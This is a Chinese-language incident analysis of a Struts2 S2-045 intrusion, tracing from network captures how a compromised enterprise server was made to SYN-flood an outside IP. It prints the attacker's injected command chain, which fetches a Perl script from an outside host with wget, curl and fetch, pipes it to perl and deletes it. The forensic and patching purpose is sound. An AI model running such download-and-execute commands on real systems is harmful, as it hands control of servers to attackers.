从数据包视角解析新型Struts2漏洞攻击全过程

安全 应用安全
本文通过数据包视角,基于网络回溯分析技术,针对最近新型Struts2漏洞攻击行为典型事件进行深层解析,打破传统思维模式,提供解决未知问题的新思路。

万年漏洞王 Struts2作为世界上最流行的 Java Web 服务器框架之一,已经被炒得沸沸扬扬,其原因是由于 Apache Struts2 的 Jakarta Multipart parser 插件存在远程代码执行漏洞,攻击者可以在使用该插件上传文件时,修改 HTTP 请求头中的 Content-Type 值来触发该漏洞,导致远程执行代码。

[[185562]]

新的漏洞出现,必然会存在漏洞利用的情况,如果在没有升级和打补丁的情况下已被攻击,即使漏洞得到修复仍有潜在风险,那么如何判断是否已经被攻击了呢?本文通过数据包视角,基于网络回溯分析技术,针对最近新型Struts2漏洞攻击行为典型事件进行深层解析,打破传统思维模式,提供解决未知问题的新思路。

1. 问题描述

科来针对本次struts2漏洞为用户进行网络安全分析服务,在与某中国500强企业集团公司安全运维人员沟通时了解到该企业互联网出口防火墙CPU利用率持续保持在80%左右,而且涌现出关于内部服务器*.35大量告警日志,防火墙高负载工作导致服务器网络缓慢。由于该服务器上承载着大量公司核心业务,造成了严重影响。

通过在该集团公司内网的核心交换机上的网络回溯分析系,进行7*24小时全流量监控(其工作模式可以简单理解为部署在大型网络环境中的“行车记录仪”),并通过该系统还原事件发生过程,回溯分析可疑流量数据。

2. 分析过程

防火墙高负载与*.35服务器有关,所以重点回溯分析*.35地址。问题服务器*.35一天多的时间共产生未知TCP应用流量47.48G,其中与意大利IP 62.149.175.81通讯流量达到44.21GB,行为极为可疑。

防火墙高负载与*.35服务器有关

回溯分析*.35与意大利IP会话通讯。两者之间通讯流量平稳(达6Mbps左右),任取一段时间,可以看到*.35与62.149.175.81:8080每条TCP会话客户端数据包数、服务器数据包数一致,状态均显示连接被重置,平均包长71字节,综合这些特征,怀疑*.35发动SYN Flood攻击。

回溯分析*.35与意大利IP会话通讯

如下,*.35 向62.149.175.81发送SYN,后者快速回复RST的数据包,时间差不足1ms,推测为出口防火墙阻断保护(因为后者位于意大利,所以后者真是返回RST数据包时间差应大于50ms),*.35发出的SYN数量极多同时频率极高现象,基本断定*.35发动了SYN Flood攻击。

*.35发动了SYN Flood攻击

小结:由于*.35发动了SYN Flood攻击,极高频率地发送了大量的SYN包,防火墙对每个SYN包都需要进行处理,严重消耗了出口防火墙性能,影响了正常业务通讯。

为了更深入找到*.35发动SYN Flood的原因,提取了该服务器发动攻击前的流量深入分析。

香港IP 223.255.145.158尝试利用Struts2漏洞攻击(在Content-type: 中插入非法字符串来远程执行命令并尝试执行该脚本,执行完成后删除),执行的脚本信息为:

  • wget -qO - http://65.254.63.20/.jb | perl ;
  • cd /tmp ;
  • curl -O http://65.254.63.20/.jb ;
  • fetch http://65.254.63.20/.jb ;
  • perl .jb ;
  • rm -rf .jb*,即问题服务器向65.254.63.20 get请求.jb文件。

进一步分析,我们发现问题服务器*.35确实下载获取到.jb文件。真实脚本为per1,可以看到62.149.175.81(SYN Flood目标IP)及端口8080。综合上文分析,基本上可以判定被黑客(所用IP 223.255.145.158)通过Struts2漏洞攻击入侵后,执行命令向美国IP 65.254.63.20请求下载了.jb文件,并执行了per1脚本SYN Flood攻击62.149.175.81.

3. 分析结论

通过以上分析,我们发现本次安全事件是黑客通过Struts2的S2-045漏洞,远程向问题服务器执行恶意代码,导致服务器主动下载脚本并成为肉鸡实施SYN Flood攻击,科来立即告知该企业相关工作人员并建议尽快修复其漏洞。

4. 价值

该漏洞影响范围极广,涉及Struts 2.3.5 - Struts 2.3.31, Struts 2.5 - Struts 2.5.10多个版本。黑客可以利用该漏洞通过浏览器在远程服务器上执行任意系统命令,将会对受影响站点造成严重影响,引发数据泄露、网页篡改、植入后门、成为肉鸡等安全事件。可将版本更新至Struts 2.3.32 或者 Struts 2.5.10.1。

本案例中,我们通过全流量分析判定了入侵者对网络及服务器的攻击行为,帮助用户发现网络中存在的安全隐患,掌握黑客攻击的手段,进而快速采取相应的防范措施。

当今企业级客户的业务系统日趋复杂,同时运行实时性要求越来越高,有效提升用户的运维主动性和分析处理问题效率已迫在眉睫。通过网络回溯分析技术可以完整记录网络原始流量,提升对异常网络行为的运行态势感知能力。

【本文是51CTO专栏作者“”李少鹏“”的原创文章,转载请通过安全牛(微信公众号id:gooann-sectv)获取授权】

戳这里,看该作者更多好文

责任编辑:赵宁宁 来源: 51CTO专栏
相关推荐

2009-06-10 16:55:42

cygwin netb安装

2010-02-22 13:38:50

Python解析器

2010-06-11 13:15:07

UML软件

2011-06-24 13:08:34

Qt Qt 4.5.3 移植

2013-07-18 15:09:27

2013-07-19 09:36:04

struts2struts2漏洞

2009-04-23 10:04:55

2011-02-22 10:46:02

Samba配置

2013-07-22 10:45:56

2016-06-08 10:09:24

2011-04-18 15:56:10

软件测试

2009-12-08 17:56:16

WCF配置

2010-07-07 09:11:31

Eclipse UML

2020-12-23 07:53:01

TCP通信Netty

2009-04-13 12:37:18

2011-01-21 17:51:52

2011-09-06 15:38:20

QT安装

2009-06-25 15:26:25

Struts2教程struts.xml常

2011-07-20 14:04:46

Cocos2d iPhone 游戏

2013-05-22 10:28:19

点赞
收藏

51CTO技术栈公众号